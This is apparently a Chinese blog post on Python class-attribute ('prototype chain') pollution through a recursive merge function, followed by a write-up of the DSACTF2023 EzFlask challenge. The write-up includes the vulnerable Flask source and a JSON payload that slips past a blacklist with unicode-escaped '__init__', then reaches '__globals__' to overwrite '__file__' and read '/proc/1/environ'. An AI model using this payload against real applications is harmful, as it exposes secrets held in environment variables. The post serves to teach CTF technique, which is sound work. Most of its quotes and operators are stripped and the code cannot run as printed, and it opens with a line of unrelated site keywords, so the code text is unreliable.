电商网站建设收费,群辉做网站服务器配置,自动生成logo的软件,wordpress ssl 慢Python原型链污染
原型链
在Python中每个对象都有一个原型#xff0c;原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时#xff0c;会先在自身查找#xff0c;如果找不到就会去原型链上的上级对象中查找#xff0c;原型链污染攻击的思路是通过修改对象原型…Python原型链污染
原型链
在Python中每个对象都有一个原型原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时会先在自身查找如果找不到就会去原型链上的上级对象中查找原型链污染攻击的思路是通过修改对象原型链中的属性使得程序在访问属性或方法时得到不符合预期的结果。
原型链污染
和JavaScript的原型链污染差不多都是需要merge函数来修改父类的属性
class father:secret hello
class son_a(father):pass
class son_b(father):pass
def merge(src, dst):for k, v in src.items():print(fk:{k}\t v:{v})if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
instance son_b()
print(instance)
payload {__class__ : { __base__ : { # 有继承关系使用__base__找父类secret : world}}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
# k:__class__ v:{__base__: {secret: world}}
# getattr(dst,k): class __main__.son_b
# k:__base__ v:{secret: world}
# getattr(dst,k): class __main__.father
# k:secret v:world
print(son_a.secret)
#world
print(instance.secret)
#world在这个例子中
首先在payload中读入__class__都是查看对象所在的类在instance中是有__class__这个属性因此进入elif hasattr(dst, k) and type(v) dict:这个语句中继续执行mergemerge其中输入的dst从原本的instance变为son_b这个类而后使用__base__查看son_b中是否有父类并寻找这个父类根据语句elif hasattr(dst, k) and type(v) dict继续执行mergemerge其中dst变为father这个类type(v)是字符串则执行setattr(dst, k, v)father中的secret属性设置为world因为父类的secret值改变son_a的secret属性也寻找到father这个父类中值也变为world
在这个例子中创建的对象instance对应的son_b类是存在父类的但很多时候是没有父类的此时就可以利用python的一些属性来寻找对应变量
全局变量获取
在Python中函数或类方法均具有一个__globals__属性该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回这样就可以用__globals__来修改想要修改的全局变量值
DSACTF2023七月暑期赛–EzFlask
进入靶机看到给出了源码
import uuid
from flask import Flask, request, session
import jsonblack_list [__init__.encode(),__globals__.encode()]app Flask(__name__)
app.secret_key str(uuid.uuid4())
def check(data): for i in black_list:print(i)if i in data: print(i)return False return True def merge(src, dst): for k, v in src.items(): if hasattr(dst, __getitem__): if dst.get(k) and type(v) dict: merge(v, dst.get(k)) else: dst[k] v elif hasattr(dst, k) and type(v) dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class user(): def __init__(self): self.username self.password pass def check(self, data): if self.username data[username] and self.password data[password]: return True return False Users []
app.route(/register,methods[POST])
def register(): if request.data: try: print(request.data)print(json.loads(request.data))if not check(request.data):print(No check)return Register Failed data json.loads(request.data)print(data)if username not in data or password not in data: print(no username or passwd)return Register Failed User user() merge(data, User) Users.append(User) except Exception as e: print(Exception: ,e)return Register Failedreturn Register Success else: print(no data)return Register Failed app.route(/login,methods[POST])
def login(): if request.data: try: print(request.data)print(json.loads(request.data))data json.loads(request.data).encode()if username not in data or password not in data: return Login Failed for user in Users: if user.check(data): session[username] data[username] return Login Success except Exception: return Login Failed return Login Failed app.route(/,methods[GET])
def index(): return open(__file__, r).read() if __name__ __main__: app.run(host0.0.0.0, port5010)看到merge函数首先想到原型链污染在index函数中是可以直接读取__file__对应的文件因此想到利用merge函数去修改这个变量将其变为我想看到的文件可以看到register是创建了User对象将data中的数值merge那么就要在data中写上payload在User类中重写了__init__类同时__file__变量是一个全局值就可以用上面写到的__globals__函数来获取全局变量并进行修改最后再重新进入index中读取文件内容因此最终payload为
data {username : admin, password : 123456, # 在data中定义username和password保证data可以进入merge函数中\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F: { # 在check中可以看到有black_list,__init__被过滤了使用unioncode进行绕过__globals__ : {__file__: ../../../proc/1/environ # 大部分的flag都隐藏在环境变量中}}
}参考资料
Python原型链污染变体(prototype-pollution-in-python)深入理解 JavaScript Prototype 污染攻击Python原型链污染